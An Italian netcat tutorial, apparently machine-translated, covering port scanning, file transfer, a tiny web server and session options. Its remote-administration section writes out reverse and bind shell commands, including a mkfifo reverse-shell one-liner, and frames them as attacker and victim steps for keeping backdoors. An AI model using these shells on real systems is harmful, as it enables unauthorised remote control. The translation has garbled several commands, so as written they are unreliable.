Netcat - Swiss Army Knife Pro Usage

Netcat - Swiss Army Knife Pro Usage
NetCat è un'utilità utilizzata per la lettura e la scrittura di dati attraverso le porte TCP e UDP. Può essere utilizzato per un sacco di cose interessanti come il trasferimento di file, la scansione delle porte, il reindirizzamento delle porte, il backdoor di PC di qualcun altro, realizzare un semplice programma di chat, per la risoluzione dei problemi di rete e altro ancora, ecco perché è noto come coltello dell'esercito svizzero. Inoltre viene preinstallato con quasi ogni distribuzione Linux al giorno d'oggi ed è utilizzato principalmente da amministratori di rete, DevOps e ingegneri di sicurezza per le loro piccole attività quotidiane.

Una breve differenza tra netcat tradizionale e netcat-openbsd

Ci sono due pacchetti simili disponibili per NetCat con una leggera differenza tra loro.

Netcat-tradizionale Include un'opzione '-e' aggiuntiva che può essere utilizzata per vincolare un programma (i.e bash) con netcat. Questa funzione è molto utile per scopi di amministrazione remoto.

Netcat-openbsd Avere un ulteriore supporto per IPv6 e proxy.

Installazione di NetCAT

Sebbene NetCat venga preinstallato nella maggior parte delle distribuzioni Linux ma in tal caso, può essere installato facilmente utilizzando i seguenti comandi.

Per un pacchetto tradizionale,

ubuntu@ubuntu: ~ $ sudo apt-get install netcat-traditional

Per la versione OpenBSD,

ubuntu@ubuntu: ~ $ sudo apt-get Installa netcat-openbsd

NetCat per Windows può essere scaricato da qui https: // sourceforge.Net/Projects/NC110/Files/.

Ora esploreremo alcuni casi d'uso interessanti di NetCat

Scansione della porta mediante netcat

Per scansionare le porte aperte, utilizzare l'opzione '-z'. NetCat proverà a connettersi a ogni porta senza inviare dati o dati molto limitati nel caso UDP. Digitare quanto segue

ubuntu@ubuntu: ~ $ nc -z -v hackme.org 80
... Snip ..
Hackme.org [217.78.1.155] 80 (http) aperto

Per scansionare una gamma di porte, digitare

ubuntu@ubuntu: ~ $ nc -z -nv 192.168.100.72 20-80
(Sconosciuto) [192.168.100.72] 80 (http) aperto
(Sconosciuto) [192.168.100.72] 22 (ssh) aperto

Trasferimento di file con netcat

Un altro caso d'uso utile di NetCat è il trasferimento di file tra i computer remoti. È possibile inviare messaggi e file binari da un PC a un altro PC. Proveremo a inviare un file "file.PDF ”da Linux PC a Windows PC [IP 192.168.100.72] usando netcat come esempio.

Sul macchina Windows (ricevitore), digita quanto segue

C: \ utenti> nc -nvlp 1337> file.PDF
Ascoltando [0.0.0.0] (Famiglia 2, Porta 1337)

Sulla macchina Linux (mittente), digitare quanto segue

ubuntu@ubuntu: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Connessione a 192.168.100.72 1337 Porta [TCP/*] è riuscito!

Amministrazione remota con netcat

Uno dei migliori casi d'uso di NetCat è l'amministrazione remota, ciò significa che è possibile controllare il PC di qualcun altro usando NetCat. Netcat-tradizionale viene fornito con l'opzione '-e' che può essere utilizzata per vincolare un programma (i.e cmd.Exe in Windows o Bash in Linux) con una porta, ciò significa che NetCat fungerà da comunicatore tra il programma e il PC remoto. NetCat riceverà comandi dal PC remoto, eseguirà il sistema locale e rispedirà i risultati al PC remoto. Questa funzione è ampiamente utilizzata per scopi dannosi, per mantenere backdoor in PC e server. Questa funzione è disponibile solo in NetCat-Traditional ma con un piccolo trucco, NetCat-OpenBSD può essere utilizzato anche per lo stesso scopo. Puoi utilizzare due modi per controllare il PC degli altri.

In un Shell inverso connessione, un utente malintenzionato ascolta una porta e attende che venga inviato una connessione dalla macchina vittima. Viene utilizzato quando il computer vittima è dietro NAT o non ha IP pubblico.

Per ottenere una shell inversa usando NetCat, è necessario ascoltare una porta usando NetCAT. Digita quanto segue sulla macchina dell'attaccante,

ubuntu@ubuntu: ~ $ nc -nvlp 1337
Ascoltando [0.0.0.0] (Famiglia 2, Porta 1337)

Sulla macchina della vittima (se Netcat-tradizionale è installato)

// Sostituisci "/bin/bash" con "cmd.exe "in caso di Windows

ubuntu@ubuntu: ~ $ nc -nv [ip_addr] 1337 -e /bin /bash

Per Netcat-openbsd (dove l'opzione "-e" non è supportata)

ubuntu@ubuntu: ~ $ rm /tmp /f; mkfifo /tmp /f;
/tmp/f |/bin/sh -i 2> & 1 | nc [ip_addr] 1337>/tmp/f

Mentre in un Lega guscio Connessione, l'attaccante lega una porta sulla macchina per vittime e si collega a quella porta utilizzando la presa client. Viene utilizzato quando la macchina dell'attaccante è dietro NAT o non ha un IP pubblico.

Sulla macchina vittima, tipo

ubuntu@ubuntu: ~ $ nc -nlvp 1337 -e /bin /bash
Ascoltando [qualsiasi] 1337 ..

Ora, per eseguire comandi sulla macchina della vittima, digita

ubuntu@ubuntu: ~ $ nc -nv 127.0.0.1 1337
Connessione a 127.0.0.1 1337 Porta [TCP/*] è riuscito!
$ id
UID = 1000 (Azad) Gid = 1000 (Azad) Gruppi = 1000 (Azad), 4 (ADM), 24 (CDROM), 27 (sudo),
30 (DIP), 46 (Plugdev), 118 (LPADMIN), 129 (Sambashare)

Semplice server Web utilizzando NetCat

Puoi anche fare un altro semplice trucco per utilizzare NetCat come server Web a pagina singola minimo. Questo server Web sarebbe molto semplice senza configurazioni speciali e lo useremo inviare il nostro codice HTML al browser.

ubuntu@ubuntu: ~ $ while vero; do echo -e "http/1.1 200 ok \ n \ n $ (eco "


Il mio semplice server web che utilizza netcat

")" | NC -NVLP 1337; Fatto
Ascoltando [0.0.0.0] (Famiglia 2, Porta 1337)

Ora, prova a recuperare la pagina web usando Curl

ubuntu@ubuntu: ~ $ curl http: // 127.0.0.1: 1337/

Il mio semplice server web che utilizza netcat

Specificare il timeout per una sessione netcat

È possibile specificare il timeout per una sessione NetCAT utilizzando l'opzione "-w". NetCat disconnetterà automaticamente la sua sessione dopo che il tempo specificato si spegne.

// -w [tempo in secondi]
ubuntu@ubuntu: ~ $ nc -w 40 -nvlp 1337
Ascoltando [0.0.0.0] (Famiglia 2, porto 1234)

Continua ad ascoltare anche se il client chiude la connessione

In modalità normale, NetCat Server si spegne e smette di ascoltare sulla porta quando un client chiude la connessione. È possibile mantenere il server utilizzando l'opzione "-k"

ubuntu@ubuntu: ~ $ nc -k -nlvp 1234
Ascoltando [0.0.0.0] (Famiglia 2, porto 1234)

Conclusione

NetCat è un'utilità semplice ma efficiente che può essere utilizzata per molte semplici attività giornaliere. Viene preinstallato in quasi tutti i sistemi operativi UNIX e può essere utilizzato per varie attività come la comunicazione tra due PC, il trasferimento di file e molti altri.